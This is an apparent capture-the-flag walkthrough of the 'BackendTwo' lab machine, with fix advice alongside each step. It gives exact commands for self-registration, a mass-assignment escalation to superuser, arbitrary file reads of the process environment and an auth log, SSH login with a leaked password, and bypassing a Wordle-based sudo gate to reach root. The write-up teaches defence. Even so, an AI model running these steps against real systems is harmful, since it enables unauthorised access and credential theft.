BackendTwo
Summary
I found a FastAPI-based 'UHC Api' on port 80 that allowed anyone to self-register and then promote my own account to administrator by simply adding an is_superuser field to a profile-edit request. The administrator token unlocked an arbitrary file-read feature, which exposed the application's process environment and source code and enabled the first (user) flag to be retrieved through an admin endpoint. A plaintext password for the htb service account, found in the server's logs, gave SSH access as that account.
Finally, the account was a member of the sudo group, and the only barrier to using it was a custom 'Wordle' PAM module whose word list was world-readable. Solving that puzzle with the list allowed sudo to proceed and delivered full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for htb>"
export PASSWORD2="<the-password-you-recovered, for pwn71y16>"Attack path: how the box was taken
Exact commands 4
Confirm the open ports: 22/tcp ssh and 80/tcp http (uvicorn).
$ nmap -Pn -sV -p- $TARGETBanner shows server: uvicorn and 'UHC Api v2.0'.
$ curl -sS -i http://$TARGET/Lists the route groups /user and /admin.
$ curl -sS http://$TARGET/api/v1POST-fuzz the user branch; reveals /signup and /login that GET-only fuzzing misses.
$ gobuster dir -m POST -b 404,405 -u http://$TARGET/api/v1/user/ -w /usr/share/wordlists/dirb/common.txtFixRestrict exposure of API documentation and unused route groupsLow
Exact commands 2
Create a low-privilege account; choose any email and password you control (this password is yours, not one you recover).
$ curl -sS -i -X POST "http://$TARGET/api/v1/user/signup" -H 'Content-Type: application/json' --data-binary '{"email":"pwn71y16@backendtwo.htb","password":"'"$PASSWORD2"'"}'Returns the JWT access_token; the login body is form-encoded, not JSON.
$ curl -sS -i -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/x-www-form-urlencoded' --data "username=pwn71y16%40backendtwo.htb&password=$PASSWORD2"FixRequire verification and approval for new accountsMedium
is_superuser flag, and did not check that a user may only change allowed fields. Sending is_superuser:true for my own account succeeded, and logging in again produced a new token carrying superuser rights that the admin routes accepted.Exact commands 3
Replace 12 with your own user ID and the token from the login step.
$ curl -sS -i -X PUT "http://$TARGET/api/v1/user/12/edit" -H 'Authorization: Bearer <low-priv JWT>' -H 'Content-Type: application/json' --data-binary '{"profile":"pwn","is_superuser":true}'Log in again to receive a superuser JWT.
$ curl -sS -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/x-www-form-urlencoded' --data "username=pwn71y16%40backendtwo.htb&password=$PASSWORD2"Enumerate the now-accessible admin endpoints.
$ curl -sS "http://$TARGET/openapi.json" -H 'Authorization: Bearer <superuser JWT>'FixBlock mass assignment of privileged fields in the user-edit endpointCritical
is_superuser to true on their own account and become an administrator./admin/file/{path} endpoint read any file on the server when given a base64url-encoded path, with no restriction on location. It disclosed the process environment (the service ran as OS user htb, and the environment carried an API_KEY value) and the application source code. The admin get_user_flag endpoint returned the user flag. The same file-read then pulled the application's log at /home/htb/auth.log, where a failed login had left a plaintext password in the username field.Exact commands 5
Base64url of /proc/self/environ; shows the service runs as htb and carries USER, APP_MODULE and API_KEY.
$ curl -sS "http://$TARGET/api/v1/admin/file/L3Byb2Mvc2VsZi9lbnZpcm9u" -H 'Authorization: Bearer <superuser JWT>'Read the application source (/home/htb/app/api/v1/endpoints/user.py).
$ curl -sS "http://$TARGET/api/v1/admin/file/L2hvbWUvaHRiL2FwcC9hcGkvdjEvZW5kcG9pbnRzL3VzZXIucHk" -H 'Authorization: Bearer <superuser JWT>'Returns <user.txt>.
$ curl -sS "http://$TARGET/api/v1/admin/get_user_flag" -H 'Authorization: Bearer <superuser JWT>'Encode the log path for the endpoint, which expects base64url; this yields L2hvbWUvaHRiL2F1dGgubG9n.
$ echo -n /home/htb/auth.log | basenc --base64url | tr -d '='Read the log; a 'Login Failure for ...' line put the real password in the username field. Set $PASSWORD to that string.
$ curl -sS "http://$TARGET/api/v1/admin/file/L2hvbWUvaHRiL2F1dGgubG9n" -H 'Authorization: Bearer <superuser JWT>'FixRemove the arbitrary file-read endpoint and keep secrets out of the process environmentHigh
htb service account: a user had typed it into the username field on a failed login, so it was recorded in plaintext. Reusing it opened a normal SSH session as htb, an account in the adm and sudo groups.id returned uid=1000(htb) with the adm and sudo groups among its memberships.Exact commands 2
Reuse the leaked password; confirms access and the htb group memberships.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null htb@$TARGET 'id'Open an interactive session (run id before reading any flag).
$ sshpass -p "$PASSWORD" ssh htb@$TARGETFixStop logging passwords and rotate the exposed credentialHigh
htb password immediately and prefer SSH key-only authentication (PasswordAuthentication no). Restrict permissions on /var/log/auth.log copies and do not store logs in application home directories. Add secret-scanning of logs and train users to avoid entering passwords in username fields.htb was already in the sudo group with full rights, passing the puzzle gave a root shell, from which root.txt was read.Exact commands 5
Run on the SSH session to find the PAM module and its word list.
$ cat /etc/pam.d/sudo; find / -name pam_wordle.so 2>/dev/null; wc -l /opt/.words; head -20 /opt/.wordsStarts the Wordle challenge; guess a 5-letter word. Hints: lowercase = correct position, * = right letter wrong position, ? = not in the word.
$ sudo -lThe whole candidate set is only ~74 five-letter words, so each hint narrows it fast.
$ cat /opt/.wordsExample narrowing round: keep words with 'o' in position 3 (a lowercase hint), containing 'm' somewhere (a '*' hint), and excluding letters marked '?'. Adjust the pattern to the hints you get, then submit the next guess until it reports Correct!.
$ grep -E '^..o..$' /opt/.words | grep m | grep -v '[aeiu]'After the puzzle is solved, sudo allows (ALL:ALL) ALL. Run id, then cat /root/root.txt (<root.txt>).
$ sudo su -FixReplace the custom PAM Wordle gate with real privilege controlsHigh
htb user had unrestricted (ALL:ALL) ALL sudo rights and also belonged to the lxd and adm groups.Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.